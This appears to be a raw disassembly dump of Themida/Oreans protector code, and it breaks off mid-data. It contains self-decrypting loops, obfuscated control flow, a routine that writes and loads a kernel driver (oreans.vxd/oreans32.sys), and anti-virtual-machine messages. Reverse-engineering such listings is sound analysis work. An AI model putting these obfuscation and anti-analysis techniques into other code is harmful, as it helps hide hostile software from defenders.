8239F28Ch, 6A9050h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 80C53AC3h dd 6A70F5h, 8E9h, 11377200h, 0FF4659Dh, 4E850h, 800000h dd 0F9BE0000h, 505D4B44h, 8BFE8B66h, 8B042444h, 14E800h dd 11620000h, 46F18902h, 8995AE96h, 0EE5DB842h, 0CF11F9A9h dd 10E8E9FDh, 0F4000000h, 6C724615h, 56365B37h, 21A71537h dd 5001D64Bh, 5A310F52h, 89595958h, 66042444h, 5893D6B9h dd 6AF18B66h, 0D08B6603h, 8B66006Ah, 8B036AD3h, 0CF8B66CAh dd 4E8h, 0 dd 0F5250C0h, 28Eh, 0F616000h, 10840F31h, 0E9000000h, 0Bh dd 0AF902448h, 73AA7A31h, 5A5269C0h, 52505058h, 310F99B1h dd 17BB6660h, 61616079h, 448B585Ah, 0EE90424h, 0D000000h dd 58949DA6h, 9422F9C8h, 3CD55877h, 60008B96h, 0E851D8B5h dd 5, 2F507CB6h, 615A5F80h, 4244489h, 6658FB8Bh, 8D2FBFBFh dd 14AF7E9Dh, 0AE906h, 1A980000h, 9A5FECD0h, 84BB3DCh dd 66525093h, 310FCB8Bh, 5E78B550h, 0F50585Ah, 980h, 3890F00h dd 66000000h, 8193FA8Bh, 0E15F8FDEh, 66D0FF7Ch, 0C2CDDE81h dd 5B850F40h, 0E9000001h, 13h, 27B569BDh, 0A7896050h, 9DC027E5h dd 4ABC489Eh, 58BF6CBAh, 1E91BD89h, 8A900612h, 8B9050C8h dd 121811BDh, 8B006A06h, 1217E995h, 0ADD76806h, 8C0F41EDh dd 2, 3481F88Bh, 0EDAD5724h, 0CE941h, 0E4D80000h, 1E78EE2Ah dd 0BBC734EFh, 36A139Bh, 6A006AF8h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 705BC353h dd 2AD9BD0Bh, 36A0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 8BC35343h, 0B7743699h, 43E44F20h, 4E8EB8Ah dd 0 dd 66C00000h, 502BD4B9h, 870Fh, 448B0000h, 8B0424h, 50FA8B60h dd 1BE6652h, 8B310FDEh, 61585AC3h, 4244489h, 1A830Fh, 12E80000h dd 7F000000h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h, 8B06B56Eh dd 5AD68B45h, 8E858h, 66AD0000h, 81D1F6D6h, 0BD89452Bh dd 61217B5h, 899D8D59h, 520614AFh, 29358D03h, 935E0612h dd 50CB8B66h, 0FE8h, 47AB3D00h, 9356CA8Ah, 235FCBF9h, 83D1E884h dd 2F5AB966h, 0F680935Ah, 89D0FF55h, 122A219Dh, 850F4006h dd 12h, 2CED8589h, 0E9580612h, 161h, 0A2DB58Bh, 0D88B0612h dd 4995034Bh, 58061217h, 0C6CE8B66h, 12287185h, 6A4306h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F66527C3h, 608CB0A6h, 8C0Fh, 71680000h, 57C8E4DBh dd 5097C2B9h, 3481596Ch, 9291D624h, 50006A08h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 9F301120h dd 9E9B197h, 0D8000000h, 0AF87A78Bh, 0AABAC08Eh, 13619D01h dd 0B5FF0612h, 61203B1h, 14E8h, 87CD0600h, 19471055h, 3D3AE378h dd 84AD59BBh, 6ECCA542h, 6840F94h, 89000000h, 1217F1B5h dd 8B665E06h, 5D858DF3h, 8906123Bh, 12174985h, 89D0FF06h dd 1210B595h, 14E99306h, 5A000000h, 0BD20D5A4h, 0C3F8C7ABh dd 8666DDE9h, 4038B94h, 50B7C31Eh, 0B9665250h, 310F31CAh dd 5AF88B66h, 0B58B9358h, 612101Dh, 8D8BD0FFh, 6122F55h dd 5E9h, 0AC250400h, 9D8DA17Bh, 6127277h, 1EA5B58Bh, 0B70F0612h dd 1B8F2h, 89500000h, 120479BDh, 800F5F06h, 6, 0E45B589h dd 0E3FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 51C35141h, 84AFBDBCh, 0FEB712C4h, 0CE8B6685h, 0E9C18BF5h dd 8, 4E5035A2h, 1954B584h, 0D68BC08Bh, 1B91BD83h, 75000612h dd 0DDBD8309h, 61217h, 53501974h, 0FB8C08Bh, 89000004h dd 12229585h, 769D8D06h, 0FF0614AEh, 83585BD3h, 1217DDBDh dd 17740006h, 0FB85350h, 89000004h, 12229585h, 179D8D06h dd 0FF0614ABh, 0F585BD3h, 682h, 0F98D3300h, 6A06120Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0EAA1C356h, 0CB20936Fh, 8BE862B4h, 0FE8C0h dd 52100000h, 2E2F5EF3h, 61B5DB1Dh, 10D4BCF2h, 958B600Ch dd 6121865h, 0DE9h, 0A72ACF00h, 2A763F0Ch, 0E02E8848h dd 5F61A956h, 0C781ABB2h, 7351h, 0CE9h, 5AB5EA00h, 0D28146A2h dd 4BE24048h, 6819h, 95890000h, 6121149h, 8E8605Bh, 0B5000000h dd 0A4B4529h, 60B5A1C7h, 0B5295961h, 61234B5h, 3B34FF61h dd 14E9h, 68A92F00h, 0BDB55F0Dh, 0AA79032Eh, 40F03970h dd 3DA402FAh, 81665975h, 813D56F0h, 38B519C1h, 10E850h dd 304B0000h, 0DC748509h, 0B156B805h, 0C0DF142Ch, 0BE669025h dd 8158308Dh, 71D632F1h, 1958B37h, 8106122Bh, 0F541CEF1h dd 99958B7Ch, 89061214h, 0B58B1F0Ch, 6120C31h, 14E9h, 152F0B00h dd 0C19834Fh, 0C34CB249h, 918C6F9Dh, 703FC36h, 2AEB818Dh dd 8B55131Ah, 121C8585h, 26C38106h, 8B55131Ah, 122F4195h dd 0B8FB8106h, 0FFFFF8Dh, 0FFFF6085h, 0ED858BFFh, 0E906121Bh dd 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh dd 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0CABD8300h, 614B7h, 0A840Fh, 85C70000h, 61217DDh, 1 dd 287185C6h, 68470612h, 4630EDEEh, 9F240481h, 0FF4A3C7Eh dd 1203B1B5h, 5D858D06h, 0FF06123Bh, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31E84h, 3F804700h, 14840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30684h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E3h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C6E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B7h, 0B74AB58Dh, 25E80614h dd 3000002h, 14B7DFBDh, 0DFBD8306h, 614B7h, 0B840Fh, 85C70000h dd 6121B91h, 1, 55B58DC3h, 0E80614B7h, 1FCh, 0B7DFBD03h dd 0BD830614h, 614B7DFh, 0B840F00h, 0C7000000h, 1217DD85h dd 106h, 0B58DC300h, 614B7CEh, 1D3E8h, 0DFBD0300h, 830614B7h dd 14B7DFBDh, 840F0006h, 0Bh, 188985C7h, 10612h, 8DC30000h dd 14B75FB5h, 1AAE806h, 0BD030000h, 614B7DFh, 0B7DFBD83h dd 0F000614h, 0B84h, 0DD85C700h, 1061217h, 0C3000000h dd 0B769B58Dh, 81E80614h, 3000001h, 14B7DFBDh, 0DFBD8306h dd 614B7h, 15840Fh, 85C70000h, 61217DDh, 1, 1B9185C7h dd 10612h, 8DC30000h, 14B777B5h, 14EE806h, 0BD030000h dd 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah dd 8D000000h, 14B781B5h, 126E806h, 0BD030000h, 614B7DFh dd 0B7DFBD83h, 0F000614h, 0A84h, 1585C700h, 106121Ah, 8D000000h dd 14B78CB5h, 0FEE806h, 0BD030000h, 614B7DFh, 0B7DFBD83h dd 0F000614h, 0A84h, 0B585C700h, 1061218h, 8D000000h, 14B792B5h dd 0D6E806h, 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h dd 0A84h, 5185C700h, 106121Ah, 8D000000h, 14B798B5h, 0AEE806h dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h dd 8585C700h, 1061203h, 8D000000h, 14B7A6B5h, 86E806h dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h dd 9D85C700h, 106122Ch, 8D000000h, 14B7B3B5h, 5EE806h dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h dd 7985C700h, 1061207h, 8D000000h, 14B7BEB5h, 36E806h dd 0BD030000h, 614B7DFh, 0B7DFBD83h, 0F000614h, 0A84h dd 6D85C700h, 106121Ah, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1FE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h, 0F163817h dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD085h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0B7DFB589h, 0AE90614h, 0C7000000h dd 14B7DF85h, 6, 0B8C36100h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_572586 mov dword ptr [ebp+6121A15h], 0 loc_572586: ; CODE XREF: Themida_:00572576j mov ecx, eax jmp loc_57279B ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 4 dd 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_57279B: ; CODE XREF: Themida_:00572588j jmp loc_57288F ; --------------------------------------------------------------------------- mov byte ptr [ebp+6122871h], 47h push 0E3E45B86h push dword ptr [ebp+61203B1h] lea eax, [ebp+6123B5Dh] call eax push 104h lea ebx, [ebp+6120F01h] push ebx call eax push eax lea esi, [ebp+614BD6Fh] mov edi, esi xor al, al loc_5727D3: ; CODE XREF: Themida_:005727D4j scasb jnz loc_5727D3 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+6122871h], 43h push 0BC8E6EFCh push dword ptr [ebp+61203B1h] lea eax, [ebp+6123B5Dh] call eax lea esi, [ebp+6120F01h] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+6122871h], 57h push 0A69BEE56h push dword ptr [ebp+61203B1h] lea eax, [ebp+6123B5Dh] call eax lea edi, [ebp+6121F95h] lea ecx, [ebp+614BE95h] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_572871 lea esi, [ebp+614BB77h] lea eax, [ebp+614A7DFh] call eax lea ecx, [ebp+6127277h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_572871: ; CODE XREF: Themida_:00572850j mov byte ptr [ebp+6122871h], 43h push 0C0764AA7h push dword ptr [ebp+61203B1h] lea eax, [ebp+6123B5Dh] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_57288F: ; CODE XREF: Themida_:loc_57279Bj mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5728A6 ; --------------------------------------------------------------------------- mov eax, ebx loc_5728A6: ; CODE XREF: Themida_:0057289Fj jmp loc_57607B ; --------------------------------------------------------------------------- db 4Dh dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- cmp dword ptr [esi+0Ch], 0 jnz short loc_576050 xor eax, eax jmp short locret_57606A ; --------------------------------------------------------------------------- loc_576050: ; CODE XREF: Themida_:0057604Aj cmp dword ptr [esi+0Ch], 1 jnz short locret_57606A lea eax, large ds:0 mov edi, [esi+18h] mov [edi], eax mov dword ptr [esi+20h], 4 xor eax, eax locret_57606A: ; CODE XREF: Themida_:0057604Ej ; Themida_:00576054j retn ; --------------------------------------------------------------------------- db 0Ch aXprotvxd_ddb db 'XPROTVXD_DDB',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_57607B: ; CODE XREF: Themida_:loc_5728A6j call sub_57608E push ss or [ebx-17h], esi in eax, dx lodsb and dword ptr [esp+ebx*8-10A401EBh], 6Bh ; =============== S U B R O U T I N E ======================================= sub_57608E proc near ; CODE XREF: Themida_:loc_57607Bp mov edi, [ebp+612074Dh] pop edx add edx, 5C20h sub eax, eax add [ebp+6120285h], edx loc_5760A3: ; CODE XREF: sub_57608E+6Aj push dword ptr [eax+edx] mov ebx, [ebp+61204E9h] pop ecx pusha push eax push ecx pop edx pop ebx jns loc_5760BE add ecx, [ebp+61217A9h] loc_5760BE: ; CODE XREF: sub_57608E+24j popa sub ecx, 31604152h sub esi, [ebp+61229A9h] add ecx, 438C6E81h push ebx add di, 3D7Eh pop esi xor ecx, 21C03A26h mov esi, ecx mov [edx+eax], ecx mov [ebp+6122F81h], ebx mov [ebp+612225Dh], esi sub eax, 4 cmp eax, 0FFFFA460h jnz loc_5760A3 mov ebx, [ebp+612108Dh] jmp loc_5771C0 ; --------------------------------------------------------------------------- db 41h, 44h, 56h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h ; --------------------------------------------------------------------------- loc_5771C0: ; CODE XREF: sub_57608E+76j mov eax, esp mov [ebp+6122C39h], esi mov [ebp+612180Dh], eax adc cx, 0B7F4h mov eax, eax push 0 push esi call sub_5771E0 and [esi-3Dh], bl sub_57608E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5771E0 proc near ; CODE XREF: sub_57608E+114Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5771E0 endp ; --------------------------------------------------------------------------- dd 0E7650E18h, 2FDD8589h, 0BD830612h, 6121B91h, 83097500h dd 1217DDBDh, 19740006h, 0C08B5350h, 43DB8h, 85858900h dd 8D061200h, 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h, 61217h dd 53501774h, 43DB8h, 85858900h, 8D061200h, 14AAFE9Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0D781E5B6h, 174D0BB1h, 0A927C981h dd 8B605D3Fh, 121AD18Dh, 10E906h, 3FEE0000h, 0B3878BF8h dd 0C867CE04h, 8179B86Eh, 8B617A03h, 68B0FC0h, 89000000h dd 122DE1BDh, 0E8C08B06h, 10h, 0FCB37F40h, 3848BAEEh, 8AEB3D1h dd 0B17AAE35h, 539B589h, 83590612h, 121B91BDh, 9750006h dd 17DDBD83h, 74000612h, 8B535013h, 0B8C0h, 9D8D0000h dd 614ACB1h, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535011h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+614AB62h] call ebx pop ebx pop eax mov [ebp+6121D29h], edx cmc mov eax, eax push 0 push edi call sub_57730A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57730A proc near ; CODE XREF: Themida_:00577302p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_57730A endp ; --------------------------------------------------------------------------- dw 7114h dd 8DE98039h, 5E8h, 5D0B9500h, 0BD0B508Fh, 6120461h, 0FC08B59h dd 68Bh, 9D9D8900h, 83061203h, 121B91BDh, 9750006h, 17DDBD83h dd 74000612h, 8B535013h, 0B8C0h, 9D8D0000h, 614ABE3h, 585BD3FFh dd 17DDBD83h, 74000612h, 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+614AB30h] call ebx pop ebx pop eax mov [ebp+6121EADh], edx sub [ebp+6120CD9h], esi mov eax, eax mov ecx, [ebp+61209DDh] jns loc_57739C push eax pusha popa pop edi loc_57739C: ; CODE XREF: Themida_:00577392j mov eax, eax mov cx, bx cmp dword ptr [ebp+6121B91h], 0 jnz short loc_5773B3 cmp dword ptr [ebp+61217DDh], 0 jz short loc_5773C6 loc_5773B3: ; CODE XREF: Themida_:005773A8j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+614AC4Ah] call ebx pop ebx pop eax loc_5773C6: ; CODE XREF: Themida_:005773B1j cmp dword ptr [ebp+61217DDh], 0 jz short loc_5773E0 push eax push ebx mov eax, 0 lea ebx, [ebp+614AB49h] call ebx pop ebx pop eax loc_5773E0: ; CODE XREF: Themida_:005773CDj push 0 push edi call sub_5773EB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5773EB proc near ; CODE XREF: Themida_:005773E3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5773EB endp ; --------------------------------------------------------------------------- db 93h dd 0BE82837h, 0B000000h, 0D42A0A74h, 9561CE16h, 0F1B29972h dd 0F5858959h, 6A06122Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0C318C356h, 0CDFCE8C9h dd 0F2816695h, 8D89E8CCh, 6120575h, 0BD8BC08Bh, 6120D81h dd 8589C08Bh, 6120E89h, 1B91BD83h, 75000612h, 0DDBD8309h dd 61217h, 53501374h, 0B8C08Bh, 8D000000h, 14AB7C9Dh, 5BD3FF06h dd 0A5B52958h, 80061215h, 0C08B02E5h, 6E5B529h, 0C08B0612h dd 1AAD8D29h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh dd 19740006h, 0C08B5350h, 7D0B8h, 85858900h, 8D061200h dd 14AE0F9Dh, 5BD3FF06h, 0DDBD8358h, 61217h, 53501774h dd 7D0B8h, 85858900h, 8D061200h, 14AAFE9Dh, 5BD3FF06h dd 5D950158h, 66061207h, 0C08BFB8Bh, 0D918589h, 85C60612h dd 6122871h, 0D18B6653h, 395F9068h, 2D853199h, 0FF06121Bh dd 1203B1B5h, 5D858D06h, 906123Bh, 12233595h, 66D0FF06h dd 12E9D38Bh, 97000000h, 29FF1F5Fh, 0A638574Fh, 0C3B5112h dd 0B2BC50F3h, 31858961h, 6A06121Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D26C351h dd 8B664F43h, 0EE9F8h, 0DABD0000h, 0E53F11C9h, 7403BB0Fh dd 47968122h, 287185C6h, 68570612h, 90045206h, 0ECADB966h dd 3B1B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 3F743EC3h, 0FE7A6D2Eh, 92F18166h dd 5D858D61h, 8906123Bh, 122ACDB5h, 0E8D0FF06h, 11h, 9BB94A35h dd 0ED25A749h, 3E769B30h, 0B4A0F488h, 0BD8B52E1h, 6121119h dd 85895959h, 6122CB5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0C5C35545h, 3607663Ch, 0E97CE55Ah, 34D98D09h dd 85C60612h, 6122871h, 7FDA8043h, 90702868h, 19D89BCh dd 81061213h, 0F07D8AE1h, 0B1B5FF58h, 66061203h, 858DD08Bh dd 6123B5Dh, 81D0FFF9h, 0C182E6EFh, 0DD85897Ch, 89061226h dd 122F4985h, 85C6F906h, 6122871h, 50006A4Ch, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 461A3EF8h dd 0C1BD8949h, 66061234h, 686297B9h, 0D9DA1CE9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h, 29AD3D0Ch dd 1234A185h, 0B1B5FF06h, 0E8061203h, 11h, 3F942A4Ah, 0EF70D08Eh dd 458E1A76h, 0C5B652Ah, 0D9816693h, 8D5FF331h, 123B5D85h dd 298D0306h, 0FF061213h, 0A791BAD0h, 8589765Bh, 61220C1h dd 1E058D29h, 85C60612h, 6122871h, 6146846h, 0BD8BBADEh dd 6122DE9h, 12E9h, 0C50EB800h, 907BDD9Ch, 0BD48D5FCh dd 0B0301CC3h, 0FF9F6096h, 1203B1B5h, 0CB8B6606h, 3B5D858Dh dd 0FFF90612h, 0FE50BAD0h, 8589561Dh, 6122309h, 1958B50h dd 5A06121Eh, 287185C6h, 23470612h, 1220718Dh, 0B5E26806h dd 6A8A0Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 9D86D1C3h, 6D3D4CB4h, 35BD01C7h, 80061217h dd 0B5FFCDF1h, 61203B1h, 13E860h, 0EDB30000h, 958D37DEh dd 0AA404076h, 0DA2EC2A1h, 0EF30C15Ch, 850FB6h, 5B000000h dd 61CFBF0Fh, 112D8D89h, 858D0612h, 6123B5Dh, 20E9B509h dd 0DE90612h, 40000000h, 0A24645F2h, 645E263Ah, 0B2E598B6h dd 0F781D0FFh, 28807EE3h, 9E18589h, 6A0612h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B70F0BC3h dd 7185C6D2h, 47061228h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 4C35343h, 0A606A6E4h, 2D85A800h, 0F9B529C6h dd 8106122Fh, 0EB96FFE9h, 0B5F36825h, 0B53183D0h, 61222F5h dd 0DE9h, 32BAF800h, 0CA64B211h, 0DD788360h, 0B5FF767Fh dd 61203B1h, 0F4CA8166h, 5D858DC2h, 6606123Bh, 8B0FF88Bh dd 11h, 5E8h, 0F93BCC00h, 950385E3h, 6120A19h, 6AD0FF5Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 13B1C355h, 11E9h, 230BB300h, 0AFD31490h dd 0D6E77FAh, 816F695h, 8589B08Dh, 6123025h, 0FAF78166h dd 5985896Fh, 89061210h, 121C559Dh, 7185C606h, 77061228h dd 0EE8h, 9E02A400h, 98410747h, 5E396686h, 0E9B5F995h dd 13h, 51C0CB2Ch, 9DB129F9h, 7B6D69C5h, 0EA774680h, 5F271B65h dd 97A8A368h, 0C88B66F3h, 1D39B5FFh, 8B660612h, 5D858DCFh dd 6606123Bh, 0FFA531BAh, 0CBBF0FD0h, 23718589h, 6A0612h dd 3E851h, 59200000h, 